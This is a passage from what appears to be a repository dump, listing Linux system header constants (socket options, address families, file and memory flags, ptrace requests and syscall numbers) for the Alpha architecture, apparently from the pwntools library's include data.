SO_PRIORITY 12\n#define SO_BSDCOMPAT 14\n#define SO_PASSCRED 17\n#define SO_PEERCRED 18\n#define SO_SECURITY_AUTHENTICATION 19\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 20\n#define SO_SECURITY_ENCRYPTION_NETWORK 21\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_PEERSEC 30\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SO_SNDBUFFORCE 0x100a\n#define SO_RCVBUFFORCE 0x100b\n#define SO_RCVLOWAT 0x1010\n#define SO_SNDLOWAT 0x1011\n#define SO_RCVTIMEO 0x1012\n#define SO_SNDTIMEO 0x1013\n#define SO_ACCEPTCONN 0x1014\n#define SO_PROTOCOL 0x1028\n#define SO_DOMAIN 0x1029\n#define SO_STYLE 0x1008\n#define SOCK_NONBLOCK 0x40000000\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x200\n#define O_TRUNC 0x400\n#define O_EXCL 0x800\n#define O_NOCTTY 0x1000\n#define O_NONBLOCK 0x4\n#define O_APPEND 0x8\n#define O_NDELAY 0x4\n#define O_DSYNC 0x4000\n#define FASYNC 0x2000\n#define O_DIRECTORY 0x8000\n#define O_NOFOLLOW 0x10000\n#define O_LARGEFILE 0x20000\n#define O_DIRECT 0x80000\n#define O_NOATIME 0x100000\n#define O_CLOEXEC 0x200000\n#define O_SYNC 0x404000\n#define O_PATH 0x800000\n#define __O_TMPFILE 0x1000000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 7\n#define F_SETLK 8\n#define F_SETLKW 9\n#define F_SETOWN 5\n#define F_GETOWN 6\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define FD_CLOEXEC 1\n#define F_RDLCK 1\n#define F_WRLCK 2\n#define F_UNLCK 8\n#define F_EXLCK 16\n#define F_SHLCK 32\n#define F_INPROGRESS 64\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x1008000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x100\n#define MAP_ANONYMOUS 0x10\n#define MAP_GROWSDOWN 0x1000\n#define MAP_DENYWRITE 0x2000\n#define MAP_EXECUTABLE 0x4000\n#define MAP_LOCKED 0x8000\n#define MAP_NORESERVE 0x10000\n#define MAP_POPULATE 0x20000\n#define MAP_NONBLOCK 0x40000\n#define MAP_STACK 0x80000\n#define MAP_HUGETLB 0x100000\n#define MS_ASYNC 1\n#define MS_SYNC 2\n#define MS_INVALIDATE 4\n#define MCL_CURRENT 8192\n#define MCL_FUTURE 16384\n#define MCL_ONFAULT 32768\n#define MADV_NORMAL 0\n#define MADV_RANDOM 1\n#define MADV_SEQUENTIAL 2\n#define MADV_WILLNEED 3\n#define MADV_SPACEAVAIL 5\n#define MADV_DONTNEED 6\n#define MAP_ANON 0x10\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0\n#define POSIX_MADV_SEQUENTIAL 2\n#define POSIX_MADV_RANDOM 1\n#define POSIX_MADV_WILLNEED 3\n#define POSIX_MADV_DONTNEED 6\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 99\n#define SYS_accept4 502\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 439\n#define SYS_adjtimex 366\n#define SYS_afs_syscall 338\n#define SYS_bdflush 300\n#define SYS_bind 104\n#define SYS_bpf 515\n#define SYS_brk 17\n#define SYS_capget 368\n#define SYS_capset 369\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 16\n#define SYS_chroot 61\n#define SYS_clock_adjtime 499\n#define SYS_clock_getres 421\n#define SYS_clock_gettime 420\n#define SYS_clock_nanosleep 422\n#define SYS_clock_settime 419\n#define SYS_clone 312\n#define SYS_close 6\n#define SYS_connect 98\n#define SYS_copy_file_range 519\n#define SYS_create_module 306\n#define SYS_delete_module 308\n#define SYS_dipc 373\n#define SYS_dup 41\n#define SYS_dup2 90\n#define SYS_dup3 487\n#define SYS_epoll_create1 486\n#define SYS_epoll_pwait 474\n#define SYS_eventfd 478\n#define SYS_eventfd2 485\n#define SYS_execve 59\n#define SYS_execveat 513\n#define SYS_exec_with_loader 25\n#define SYS_exit 1\n#define SYS_exit_group 405\n#define SYS_faccessat 462\n#define SYS_fadvise64 413\n#define SYS_fallocate 480\n#define SYS_fanotify_init 494\n#define SYS_fanotify_mark 495\n#define SYS_fchdir 13\n#define SYS_fchmod 124\n#define SYS_fchmodat 461\n#define SYS_fchown 123\n#define SYS_fchownat 453\n#define SYS_fcntl 92\n#define SYS_fdatasync 447\n#define SYS_fgetxattr 387\n#define SYS_finit_module 507\n#define SYS_flistxattr 390\n#define SYS_flock 131\n#define SYS_fork 2\n#define SYS_fremovexattr 393\n#define SYS_fsconfig 541\n#define SYS_fsetxattr 384\n#define SYS_fsmount 542\n#define SYS_fsopen 540\n#define SYS_fspick 543\n#define SYS_fstat 91\n#define SYS_fstat64 427\n#define SYS_fstatat64 455\n#define SYS_fstatfs 329\n#define SYS_fstatfs64 529\n#define SYS_fsync 95\n#define SYS_ftruncate 130\n#define SYS_futex 394\n#define SYS_futimesat 454\n#define SYS_getcpu 473\n#define SYS_getcwd 367\n#define SYS_getdents 305\n#define SYS_getdents64 377\n#define SYS_getdtablesize 89\n#define SYS_getegid 530\n#define SYS_geteuid 531\n#define SYS_getgroups 79\n#define SYS_gethostname 87\n#define SYS_getitimer 361\n#define SYS_get_kernel_syms 309\n#define SYS_get_mempolicy 430\n#define SYS_getpagesize 64\n#define SYS_getpeername 141\n#define SYS_getpgid 233\n#define SYS_getpgrp 63\n#define SYS_getppid 532\n#define SYS_getpriority 100\n#define SYS_getrandom 511\n#define SYS_getresgid 372\n#define SYS_getresuid 344\n#define SYS_getrlimit 144\n#define SYS_get_robust_list 467\n#define SYS_getrusage 364\n#define SYS_getsid 234\n#define SYS_getsockname 150\n#define SYS_getsockopt 118\n#define SYS_gettid 378\n#define SYS_gettimeofday 359\n#define SYS_getxattr 385\n#define SYS_getxgid 47\n#define SYS_getxpid 20\n#define SYS_getxuid 24\n#define SYS_init_module 307\n#define SYS_inotify_add_watch 445\n#define SYS_inotify_init 444\n#define SYS_inotify_init1 489\n#define SYS_inotify_rm_watch 446\n#define SYS_io_cancel 402\n#define SYS_ioctl 54\n#define SYS_io_destroy 399\n#define SYS_io_getevents 400\n#define SYS_io_pgetevents 523\n#define SYS_ioprio_get 443\n#define SYS_ioprio_set 442\n#define SYS_io_setup 398\n#define SYS_io_submit 401\n#define SYS_io_uring_enter 536\n#define SYS_io_uring_register 537\n#define SYS_io_uring_setup 535\n#define SYS_kcmp 506\n#define SYS_kexec_load 448\n#define SYS_keyctl 441\n#define SYS_kill 37\n#define SYS_lchown 208\n#define SYS_lgetxattr 386\n#define SYS_link 9\n#define SYS_linkat 458\n#define SYS_listen 106\n#define SYS_listxattr 388\n#define SYS_llistxattr 389\n#define SYS_lookup_dcookie 406\n#define SYS_lremovexattr 392\n#define SYS_lseek 19\n#define SYS_lsetxattr 383\n#define SYS_lstat 68\n#define SYS_lstat64 426\n#define SYS_madvise 75\n#define SYS_mbind 429\n#define SYS_membarrier 517\n#define SYS_memfd_create 512\n#define SYS_migrate_pages 449\n#define SYS_mincore 375\n#define SYS_mkdir 136\n#define SYS_mkdirat 451\n#define SYS_mknod 14\n#define SYS_mknodat 452\n#define SYS_mlock 314\n#define SYS_mlock2 518\n#define SYS_mlockall 316\n#define SYS_mmap 71\n#define SYS_mount 302\n#define SYS_move_mount 539\n#define SYS_move_pages 472\n#define SYS_mprotect 74\n#define SYS_mq_getsetattr 437\n#define SYS_mq_notify 436\n#define SYS_mq_open 432\n#define SYS_mq_timedreceive 435\n#define SYS_mq_timedsend 434\n#define SYS_mq_unlink 433\n#define SYS_mremap 341\n#define SYS_msgctl 200\n#define SYS_msgget 201\n#define SYS_msgrcv 202\n#define SYS_msgsnd 203\n#define SYS_msync 217\n#define SYS_munlock 315\n#define SYS_munlockall 317\n#define SYS_munmap 73\n#define SYS_name_to_handle_at 497\n#define SYS_nanosleep 340\n#define SYS_nfsservctl 342\n#define SYS_old_adjtimex 303\n#define SYS_oldumount 321\n#define SYS_open 45\n#define SYS_openat 450\n#define SYS_openat2 547\n#define SYS_open_by_handle_at 498\n#define SYS_open_tree 538\n#define SYS_osf_adjtime 140\n#define SYS_osf_afs_syscall 258\n#define SYS_osf_alt_plock 181\n#define SYS_osf_alt_setsid 188\n#define SYS_osf_alt_sigpending 187\n#define SYS_osf_asynch_daemon 163\n#define SYS_osf_audcntl 252\n#define SYS_osf_audgen 253\n#define SYS_osf_chflags 34\n#define SYS_osf_execve 11\n#define SYS_osf_exportfs 169\n#define SYS_osf_fchflags 35\n#define SYS_osf_fdatasync 261\n#define SYS_osf_fpathconf 248\n#define SYS_osf_fstatfs 161\n#define SYS_osf_fuser 243\n#define SYS_osf_getaddressconf 214\n#define SYS_osf_getdirentries 159\n#define SYS_osf_getdomainname 165\n#define SYS_osf_getfh 164\n#define SYS_osf_getfsstat 18\n#define SYS_osf_gethostid 142\n#define SYS_osf_getitimer 86\n#define SYS_osf_getlogin 49\n#define SYS_osf_getmnt 184\n#define SYS_osf_getrusage 117\n#define SYS_osf_getsysinfo 256\n#define SYS_osf_gettimeofday 116\n#define SYS_osf_kloadcall 223\n#define SYS_osf_kmodcall 77\n#define SYS_osf_memcntl 260\n#define SYS_osf_mincore 78\n#define SYS_osf_mount 21\n#define SYS_osf_mremap 65\n#define SYS_osf_msfs_syscall 240\n#define SYS_osf_msleep 215\n#define SYS_osf_mvalid 213\n#define SYS_osf_mwakeup 216\n#define SYS_osf_naccept 30\n#define SYS_osf_nfssvc 158\n#define SYS_osf_ngetpeername 31\n#define SYS_osf_ngetsockname 32\n#define SYS_osf_nrecvfrom 29\n#define SYS_osf_nrecvmsg 27\n#define SYS_osf_nsendmsg 28\n#define SYS_osf_ntp_adjtime 245\n#define SYS_osf_ntp_gettime 246\n#define SYS_osf_old_creat 8\n#define SYS_osf_old_fstat 62\n#define SYS_osf_old_getpgrp 81\n#define SYS_osf_old_killpg 146\n#define SYS_osf_old_lstat 40\n#define SYS_osf_old_open 5\n#define SYS_osf_oldquota 149\n#define SYS_osf_old_sigaction 46\n#define SYS_osf_old_sigblock 109\n#define SYS_osf_old_sigreturn 139\n#define SYS_osf_old_sigsetmask 110\n#define SYS_osf_old_sigvec 108\n#define SYS_osf_old_stat 38\n#define SYS_osf_old_vadvise 72\n#define SYS_osf_old_vtrace 115\n#define SYS_osf_old_wait 84\n#define SYS_osf_pathconf 247\n#define SYS_osf_pid_block 153\n#define SYS_osf_pid_unblock 154\n#define SYS_osf_plock 107\n#define SYS_osf_priocntlset 237\n#define SYS_osf_profil 44\n#define SYS_osf_proplist_syscall 244\n#define SYS_osf_reboot 55\n#define SYS_osf_revoke 56\n#define SYS_osf_sbrk 69\n#define SYS_osf_security 222\n#define SYS_osf_select 93\n#define SYS_osf_sethostid 143\n#define SYS_osf_setitimer 83\n#define SYS_osf_setlogin 50\n#define SYS_osf_set_program_attributes 43\n#define SYS_osf_set_speculative 239\n#define SYS_osf_setsysinfo 257\n#define SYS_osf_settimeofday 122\n#define SYS_osf_shmat 209\n#define SYS_osf_signal 218\n#define SYS_osf_sigprocmask 48\n#define SYS_osf_sigsendset 238\n#define SYS_osf_sigstack 112\n#define SYS_osf_sigwaitprim 157\n#define SYS_osf_sstk 70\n#define SYS_osf_statfs 160\n#define SYS_osf_subsys_info 255\n#define SYS_osf_swapctl 259\n#define SYS_osf_swapon 199\n#define SYS_osf_syscall 0\n#define SYS_osf_sysinfo 241\n#define SYS_osf_table 85\n#define SYS_osf_uadmin 242\n#define SYS_osf_usleep_thread 251\n#define SYS_osf_uswitch 250\n#define SYS_osf_utc_adjtime 220\n#define SYS_osf_utc_gettime 219\n#define SYS_osf_utimes 138\n#define SYS_osf_utsname 207\n#define SYS_osf_wait4 7\n#define SYS_osf_waitid 236\n#define SYS_pciconfig_iobase 376\n#define SYS_pciconfig_read 345\n#define SYS_pciconfig_write 346\n#define SYS_perf_event_open 493\n#define SYS_personality 324\n#define SYS_pidfd_getfd 548\n#define SYS_pidfd_open 544\n#define SYS_pidfd_send_signal 534\n#define SYS_pipe 42\n#define SYS_pipe2 488\n#define SYS_pivot_root 374\n#define SYS_pkey_alloc 525\n#define SYS_pkey_free 526\n#define SYS_pkey_mprotect 524\n#define SYS_poll 94\n#define SYS_ppoll 464\n#define SYS_prctl 348\n#define SYS_pread 349\n#define SYS_preadv 490\n#define SYS_preadv2 520\n#define SYS_prlimit64 496\n#define SYS_process_vm_readv 504\n#define SYS_process_vm_writev 505\n#define SYS_pselect6 463\n#define SYS_ptrace 26\n#define SYS_pwrite 350\n#define SYS_pwritev 491\n#define SYS_pwritev2 521\n#define SYS_query_module 347\n#define SYS_quotactl 148\n#define SYS_read 3\n#define SYS_readahead 379\n#define SYS_readlink 58\n#define SYS_readlinkat 460\n#define SYS_readv 120\n#define SYS_reboot 311\n#define SYS_recv 102\n#define SYS_recvfrom 125\n#define SYS_recvmmsg 479\n#define SYS_recvmsg 113\n#define SYS_remap_file_pages 410\n#define SYS_removexattr 391\n#define SYS_rename 128\n#define SYS_renameat 457\n#define SYS_renameat2 510\n#define SYS_request_key 440\n#define SYS_restart_syscall 412\n#define SYS_rmdir 137\n#define SYS_rseq 527\n#define SYS_rt_sigaction 352\n#define SYS_rt_sigpending 354\n#define SYS_rt_sigprocmask 353\n#define SYS_rt_sigqueueinfo 356\n#define SYS_rt_sigreturn 351\n#define SYS_rt_sigsuspend 357\n#define SYS_rt_sigtimedwait 355\n#define SYS_rt_tgsigqueueinfo 492\n#define SYS_sched_getaffinity 396\n#define SYS_sched_getattr 509\n#define SYS_sched_getparam 331\n#define SYS_sched_get_priority_max 335\n#define SYS_sched_get_priority_min 336\n#define SYS_sched_getscheduler 333\n#define SYS_sched_rr_get_interval 337\n#define SYS_sched_setaffinity 395\n#define SYS_sched_setattr 508\n#define SYS_sched_setparam 330\n#define SYS_sched_setscheduler 332\n#define SYS_sched_yield 334\n#define SYS_seccomp 514\n#define SYS_select 358\n#define SYS_semctl 204\n#define SYS_semget 205\n#define SYS_semop 206\n#define SYS_semtimedop 423\n#define SYS_send 101\n#define SYS_sendfile 370\n#define SYS_sendmmsg 503\n#define SYS_sendmsg 114\n#define SYS_sendto 133\n#define SYS_setdomainname 166\n#define SYS_setfsgid 326\n#define SYS_setfsuid 325\n#define SYS_setgid 132\n#define SYS_setgroups 80\n#define SYS_sethae 301\n#define SYS_sethostname 88\n#define SYS_setitimer 362\n#define SYS_set_mempolicy 431\n#define SYS_setns 501\n#define SYS_setpgid 39\n#define SYS_setpgrp 82\n#define SYS_setpriority 96\n#define SYS_setregid 127\n#define SYS_setresgid 371\n#define SYS_setresuid 343\n#define SYS_setreuid 126\n#define SYS_setrlimit 145\n#define SYS_set_robust_list 466\n#define SYS_setsid 147\n#define SYS_setsockopt 105\n#define SYS_set_tid_address 411\n#define SYS_settimeofday 360\n#define SYS_setuid 23\n#define SYS_setxattr 382\n#define SYS_shmctl 210\n#define SYS_shmdt 211\n#define SYS_shmget 212\n#define SYS_shutdown 134\n#define SYS_sigaction 156\n#define SYS_sigaltstack 235\n#define SYS_signalfd 476\n#define SYS_signalfd4 484\n#define SYS_sigpending 52\n#define SYS_sigreturn 103\n#define SYS_sigsuspend 111\n#define SYS_socket 97\n#define SYS_socketpair 135\n#define SYS_splice 468\n#define SYS_stat 67\n#define SYS_stat64 425\n#define SYS_statfs 328\n#define SYS_statfs64 528\n#define SYS_statx 522\n#define SYS_swapoff 304\n#define SYS_swapon 322\n#define SYS_symlink 57\n#define SYS_symlinkat 459\n#define SYS_sync 36\n#define SYS_sync_file_range 469\n#define SYS_syncfs 500\n#define SYS__sysctl 319\n#define SYS_sys_epoll_create 407\n#define SYS_sys_epoll_ctl 408\n#define SYS_sys_epoll_wait 409\n#define SYS_sysfs 254\n#define SYS_sysinfo 318\n#define SYS_syslog 310\n#define SYS_tee 470\n#define SYS_tgkill 424\n#define SYS_timer_create 414\n#define SYS_timer_delete 418\n#define SYS_timerfd 477\n#define SYS_timerfd_create 481\n#define SYS_timerfd_gettime 483\n#define SYS_timerfd_settime 482\n#define SYS_timer_getoverrun 417\n#define SYS_timer_gettime 416\n#define SYS_timer_settime 415\n#define SYS_times 323\n#define SYS_tkill 381\n#define SYS_truncate 129\n#define SYS_tuxcall 397\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount_with_flags 22\n#define SYS_umount_without_flags 321\n#define SYS_uname 339\n#define SYS_unlink 10\n#define SYS_unlinkat 456\n#define SYS_unshare 465\n#define SYS_uselib 313\n#define SYS_userfaultfd 516\n#define SYS_ustat 327\n#define SYS_utimensat 475\n#define SYS_utimes 363\n#define SYS_vfork 66\n#define SYS_vhangup 76\n#define SYS_vmsplice 471\n#define SYS_vserver 428\n#define SYS_wait4 365\n#define SYS_waitid 438\n#define SYS_write 4\n#define SYS_writev 121\n"
  },
  {
    "path": "pwnlib/data/includes/linux/amd64.h",
